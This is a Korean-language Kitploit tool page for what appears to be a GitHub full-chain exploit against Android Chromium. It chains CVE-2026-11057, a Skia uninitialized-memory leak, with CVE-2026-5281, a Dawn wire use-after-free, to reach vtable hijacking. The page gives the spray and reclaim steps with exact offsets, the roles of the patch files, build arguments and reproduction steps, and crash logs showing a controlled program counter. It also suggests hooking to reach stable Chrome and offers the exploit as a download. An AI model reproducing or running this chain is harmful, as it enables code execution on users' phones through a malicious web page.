Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-5281-CVE-2026-11057-fullchain — # Android Chromium 전체 체인 익스플로잇 CVE-2026-11057 정보 유출과 CVE-2026-5281 use-after-free를 결합하여 vtable 하이재킹 및 임의 코드 실행을 달성하는 Android Chromium용 전체 체인 익스플로잇입니다. | Kitploit
도구/GitHubGitHub/jaf0rk/cve-2026-5281-cve-2026-11057-fullchain
Android SecurityExploit FrameworksVulnerability AnalysisExploitationWeb Application ExploitationMobile SecurityBinary Exploitation
GitHubjaf0rk/cve-2026-5281-cve-2026-11057-fullchain

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-5281-CVE-2026-11057-fullchain

# Android Chromium 전체 체인 익스플로잇 CVE-2026-11057 정보 유출과 CVE-2026-5281 use-after-free를 결합하여 vtable 하이재킹 및 임의 코드 실행을 달성하는 Android Chromium용 전체 체인 익스플로잇입니다.

저장소 보기
12일 전아직 검토되지 않음

CVE-2026-5281+CVE-2026-11057 Android 전체 체인

기기

Pixel 7 Android 16 ARM64

Chromium 버전

root@kitploit:~
commit 994c846bbd7a35241ba7c08158c13d66412a6993 (HEAD -> 146.0.7680.111, tag: 146.0.7680.111)
Author: Roger McFarlane <[email protected]>
Date:   Mon Mar 9 12:48:07 2026 -0700

설명

공격 접근 방식

이 저장소는 CVE-2026-11057(Skia 초기화되지 않은 글리프 이미지 메모리)과 CVE-2026-5281(Dawn wire 서버 DeviceInfo use-after-free)을 전체 체인으로 결합합니다. 모든 수정은 렌더러 측에서 이루어지며, GPU 프로세스 코드는 변경되지 않습니다:

  1. 정보 유출 (CVE-2026-11057) — 캔버스 텍스트 렌더링을 통해 초기화되지 않은 글리프 이미지 버퍼를 트리거하고, GPU 프로세스 힙에서 포인터를 읽어 되돌린 다음, 산술 실행으로 검증하고, PartitionAlloc 풀 베이스를 도출하며, 가짜 Server 대상 M = POOL + 0x202A08000(보정된 오프셋)을 계산합니다.

  2. CC 스프레이 — createBuffer(label="CCM:<m>:<n>")는 3000개의 불완전한 ChunkedCommand(10KB 버킷, remainingSize=1, wire 서버의 mChunkedCommands에 유지됨)의 주입을 트리거합니다. 페이로드는 Android arm64용으로 설계된 가짜 Server로 M 주변 영역을 채웁니다: +0xB20의 MutexProtected vptr, +0xB50/+0xB58의 ChunkedCommandSerializer, +0xC00/+0xD00의 가짜 CommandSerializer/vtable.

  3. 5281 트리거 + 점유 — queue.writeBuffer(buffer, 0x414141, ...)는 먼저 Unregister(Device)를 호출하여 16바이트 DeviceInfo를 해제한 다음, 16바이트 점유 ChunkedCommand를 주입하여 해당 슬롯을 재확보하고 info->server를 M으로 덮어쓴 다음, 범위를 벗어난 오프셋으로 검증 오류를 트리거합니다.

  4. 댕글링 콜백 → vtable 하이재킹 — 캡처되지 않은 오류 콜백은 info->server = M(가짜 Server)을 역참조합니다: 제로화된 뮤텍스가 통과되고, 실행은 OnUncapturedError → SerializeCommand에 도달하며, 상대 vtable 간접 호출이 우리의 가짜 vtable에 도달하여 pc = fake_vtable + 제어된 int32 오프셋을 제공하며, pc = 0x7641414141로 입증됩니다.

참고: Android arm64 Chromium은 상대 vtable(-fexperimental-relative-c++-abi-vtables)을 사용합니다; vtable 항목은 절대 함수 포인터가 아닌 32비트 상대 오프셋이므로, PoC는 vtable 하이재킹 지점의 마커로 제어된 int32 오프셋을 사용합니다.

테스트 기기에서 전체 체인은 거의 100% 성공률로 vtable 하이재킹 크래시에 도달합니다; 유출 단계는 성공하기 전에 가끔 여러 번의 자동 새로고침이 필요할 수 있습니다.

파일 역할

  • SkStrike.cpp.patch — CVE-2026-11057 유출 트리거. FlattenGlyphsByType()는 스트라이크 페이로드를 재작성하여 GPU 프로세스가 fImage == nullptr인 SkGlyph를 생성하고, 결국 초기화되지 않은 이미지 버퍼를 읽어 힙 포인터를 유출합니다.
  • Device.cpp.patch — Dawn wire 클라이언트 CC 스프레이. APICreateBuffer()는 CCM: 레이블을 파싱하고, Android arm64 가짜 Server 페이로드를 구축하며, GPU 프로세스에 유지되는 N개의 불완전한 ChunkedCommand를 주입합니다.
  • ApiProcs.cpp.patch — CVE-2026-5281 트리거 + 점유. QueueWriteBuffer 매직 오프셋 0x414141에서 Unregister(Device)를 호출하여 DeviceInfo를 해제하고, 16바이트 ChunkedCommand를 주입하여 슬롯을 재확보하고 info->server = M을 설정한 다음, 범위를 벗어난 오프셋으로 진행하여 댕글링 콜백을 발생시킵니다.

공개 범위

이 ExP는 vtable 하이재킹 단계(제어된 간접 호출 대상, pc = base+0x41414141)까지만 공개됩니다. 제어된 점프 이후의 단계와 RCE 구현은 기밀로 유지되며 이 저장소에 포함되지 않습니다.

Build args.gn

root@kitploit:~
# Set build arguments here. See `gn help buildargs`.
is_official_build = true
is_debug = false
symbol_level = 0
v8_symbol_level = 0
blink_symbol_level = 0
is_component_build = false  
proprietary_codecs = true   
ffmpeg_branding = "Chrome"  
dcheck_always_on =false
optimize_webui = true
android_static_analysis = "off"
target_os = "android"
target_cpu = "arm64"

# Disable PartitionAllocEventuallyZeroFreedMemory
disable_fieldtrial_testing_config = true

treat_warnings_as_errors = false

재현

  1. cd third_party/dawn
  2. git apply ApiProcs.cpp.patch
  3. git apply Device.cpp.patch
  4. cd ../skia
  5. git apply SkStrike.cpp.patch
  6. Chromium 빌드
  7. Android 기기에서 Chrome을 열고 exploit.html 실행
  8. PC에서 adb logcat | grep DEBUG 실행

참고

  1. PartitionAllocEventuallyZeroFreedMemory 함정에 주의하세요. 활성화되면 해제된 메모리를 결국 0으로 만듭니다. 이 기능은 기본적으로 비활성화되어 있습니다. 공식 Stable 빌드에서는 Google의 Finch(서버 측 필드 트라이얼)에 의해 제어되며, Google은 일반적으로 일반 사용자에게 이 기능을 켜지 않습니다. 그러나 로컬/비공식 빌드와 공식 Dev/Canary 채널에서는 자주 활성화됩니다(특히 필드 트라이얼 테스트 구성이 활성화된 경우). 이는 비-Stable 빌드에 대해 익스플로잇을 개발하거나 테스트할 때 흔한 함정입니다.
  2. 127.0.0.1 루프백 주소로 exploit.html에 접근하세요. 그렇지 않으면 HTTP가 신뢰할 수 없는 것으로 처리되어 WebGPU가 작동하지 않습니다.

크래시 스택

현재 익스플로잇 스택:

root@kitploit:~
~$ adb logcat | grep DEBUG
06-11 20:51:46.100 11269 11269 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-11 20:51:46.100 11269 11269 F DEBUG   : Build fingerprint: '[REDACTED]'
06-11 20:51:46.100 11269 11269 F DEBUG   : Revision: 'MP1.0'
06-11 20:51:46.100 11269 11269 F DEBUG   : ABI: 'arm64'
06-11 20:51:46.100 11269 11269 F DEBUG   : Timestamp: 2025-06-11 20:51:45.949325765+0800
06-11 20:51:46.100 11269 11269 F DEBUG   : Process uptime: 3s
06-11 20:51:46.100 11269 11269 F DEBUG   : Cmdline: org.chromium.chrome:privileged_process0
06-11 20:51:46.100 11269 11269 F DEBUG   : pid: 11188, tid: 11211, name: CrGpuMain  >>> org.chromium.chrome:privileged_process0 <<<
06-11 20:51:46.100 11269 11269 F DEBUG   : uid: 10309
06-11 20:51:46.100 11269 11269 F DEBUG   : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
06-11 20:51:46.100 11269 11269 F DEBUG   : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x0000007641414141
06-11 20:51:46.100 11269 11269 F DEBUG   :     x0  0000007602a08b20  x1  0000007b272cd808  x2  0000000000000002  x3  00000076000f5c40
06-11 20:51:46.100 11269 11269 F DEBUG   :     x4  00000000000000b1  x5  000000760148b520  x6  0000000001414d4c  x7  0000007e7db19004
06-11 20:51:46.100 11269 11269 F DEBUG   :     x8  0000007b272cd790  x9  0000007641414141  x10 0000000000000000  x11 0000000000000001
06-11 20:51:46.100 11269 11269 F DEBUG   :     x12 0000000000000000  x13 0000000000000002  x14 0000007e7d733040  x15 0000000000000000
06-11 20:51:46.100 11269 11269 F DEBUG   :     x16 0000007b230ada10  x17 0000007e66d55520  x18 0000007b25fd8000  x19 0000007602a08000
06-11 20:51:46.100 11269 11269 F DEBUG   :     x20 00000000000000b1  x21 00000076000f5c40  x22 0000000000000002  x23 0000007b272cd808
06-11 20:51:46.100 11269 11269 F DEBUG   :     x24 0000007602a08000  x25 0000007b230e7000  x26 0000007b1897c2c6  x27 0000000000000006
06-11 20:51:46.100 11269 11269 F DEBUG   :     x28 0000007b22fa7728  x29 0000007b272cd7c0
06-11 20:51:46.100 11269 11269 F DEBUG   :     lr  0000007b20309184  sp  0000007b272cd770  pc  0000007641414141  pst 0000000060001000
06-11 20:51:46.100 11269 11269 F DEBUG   : 36 total frames
06-11 20:51:46.100 11269 11269 F DEBUG   : backtrace:
06-11 20:51:46.100 11269 11269 F DEBUG   :       #00 pc 000000003dd8c141  [anon:partition_alloc]
06-11 20:51:46.100 11269 11269 F DEBUG   :       #01 pc 00000000084ac180  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #02 pc 00000000084ab1fc  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #03 pc 0000000002a1988c  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #04 pc 0000000002a36b4c  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #05 pc 00000000029de990  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #06 pc 00000000084ae164  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #07 pc 00000000084956b8  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #08 pc 0000000008dd61f0  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #09 pc 0000000008dd6300  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #10 pc 0000000008dd3dd0  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #11 pc 00000000065fe184  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #12 pc 00000000065fd1dc  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #13 pc 00000000065faf6c  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #14 pc 00000000065fac54  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #15 pc 0000000005a63054  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #16 pc 00000000065ff294  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #17 pc 000000000547e288  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #18 pc 00000000058de7ec  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #19 pc 0000000005d66b70  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #20 pc 000000000633da58  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #21 pc 00000000063431e8  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #22 pc 0000000007a2eb60  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #23 pc 0000000007a2e730  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #24 pc 0000000007a2dd14  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #25 pc 0000000007a2da24  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #26 pc 000000000033f500  /apex/com.android.art/lib64/libart.so (art_quick_generic_jni_trampoline+144) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #27 pc 0000000000689588  /apex/com.android.art/lib64/libart.so (nterp_helper+152) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #28 pc 00000000002890ec  /data/app/.../base.apk (offset 0x1ec6000) (qf1.run+560)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #29 pc 00000000000a94f0  /system/framework/arm64/boot.oat (java.lang.Thread.run+64) (BuildId: f7dcc0c41d7298598dd50b6df5fbdd67cef62829)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #30 pc 0000000000328194  /apex/com.android.art/lib64/libart.so (art_quick_invoke_stub+612) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #31 pc 00000000002d9348  /apex/com.android.art/lib64/libart.so (art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+216) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #32 pc 0000000000421028  /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallback(void*)+932) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #33 pc 0000000000420c74  /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallbackWithUffdGc(void*)+8) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #34 pc 0000000000080e6c  /apex/com.android.runtime/lib64/bionic/libc.so (__pthread_start(void*)+236) (BuildId: 56d1c072e220860e239a4a1824a78f97)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #35 pc 00000000000736d0  /apex/com.android.runtime/lib64/bionic/libc.so (__start_thread+64) (BuildId: 56d1c072e220860e239a4a1824a78f97)

전체 익스플로잇 스택(임의의 64비트 주소로 점프):

root@kitploit:~
~$ adb logcat | grep DEBUG
06-12 01:02:33.858 17983 17983 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-12 01:02:33.858 17983 17983 F DEBUG   : Build fingerprint: 'google/panther/panther:16/.../release-keys'
06-12 01:02:33.858 17983 17983 F DEBUG   : Revision: 'MP1.0'
06-12 01:02:33.858 17983 17983 F DEBUG   : ABI: 'arm64'
06-12 01:02:33.858 17983 17983 F DEBUG   : Timestamp: 2025-06-12 01:02:33.719427351+0800
06-12 01:02:33.858 17983 17983 F DEBUG   : Process uptime: 151s
06-12 01:02:33.858 17983 17983 F DEBUG   : Cmdline: org.chromium.chrome:privileged_process2
06-12 01:02:33.858 17983 17983 F DEBUG   : pid: 17875, tid: 17891, name: CrGpuMain  >>> org.chromium.chrome:privileged_process2 <<<
06-12 01:02:33.858 17983 17983 F DEBUG   : uid: 10309
06-12 01:02:33.858 17983 17983 F DEBUG   : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
06-12 01:02:33.858 17983 17983 F DEBUG   : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x0041414141414141
06-12 01:02:33.858 17983 17983 F DEBUG   :     x0  0000007602a08b68  x1  0000007b272cd808  x2  0000000000000002  x3  00000076000c9f40
06-12 01:02:33.858 17983 17983 F DEBUG   :     x4  00000000000000b1  x5  0000007600024c40  x6  0000000001414d4c  x7  0000007e7db19004
06-12 01:02:33.858 17983 17983 F DEBUG   :     x8  4141414141414141  x9  0000007b76d934a0  x10 0000000000000000  x11 0000000000000001
06-12 01:02:33.858 17983 17983 F DEBUG   :     x12 0000000000000000  x13 0000000000000002  x14 0000007e7d733040  x15 0000000000000000
06-12 01:02:33.858 17983 17983 F DEBUG   :     x16 0000007b24f19ab0  x17 0000007e66d55520  x18 0000007b266dc000  x19 0000007602a08000
06-12 01:02:33.858 17983 17983 F DEBUG   :     x20 00000000000000b1  x21 00000076000c9f40  x22 0000000000000002  x23 0000007b272cd808
06-12 01:02:33.858 17983 17983 F DEBUG   :     x24 0000007602a08000  x25 0000007b24f53000  x26 0000007b1a7e82c6  x27 0000000000000006
06-12 01:02:33.858 17983 17983 F DEBUG   :     x28 0000007b24e137c8  x29 0000007b272cd7c0
06-12 01:02:33.858 17983 17983 F DEBUG   :     lr  0000007b76d934b0  sp  0000007b272cd770  pc  0041414141414141  pst 0000000060001000
06-12 01:02:33.858 17983 17983 F DEBUG   : 3 total frames
06-12 01:02:33.858 17983 17983 F DEBUG   : backtrace:
06-12 01:02:33.858 17983 17983 F DEBUG   :       #00 pc 0041414141414141  <unknown>
06-12 01:02:33.858 17983 17983 F DEBUG   :       #01 pc 0000000000b0f4ac  /.....
06-12 01:02:33.858 17983 17983 F DEBUG   :       #02 pc 00000000001cdffc  [anon:partition_alloc]

Chrome stable에서

Chromium의 stable 버전에서는 패치를 직접 적용하는 것이 실현 가능하지 않거나 바람직하지 않을 수 있습니다. 따라서 패치 로직을 훅 함수로 재작성하여 런타임에 관련 처리 함수를 가로채고 수정할 수 있습니다.

도구 다운로드
  • exploit.html — 페이지 오케스트레이션: 유출 프리미티브(groom/draw/readCell/verifyRuns/derivePoolBase), CC 스프레이, 그리고 독립형 exploit5281() 트리거; 실패 시 스프레이 상태를 정리하고 새로고침하여 단계가 서로 간섭하지 않도록 합니다.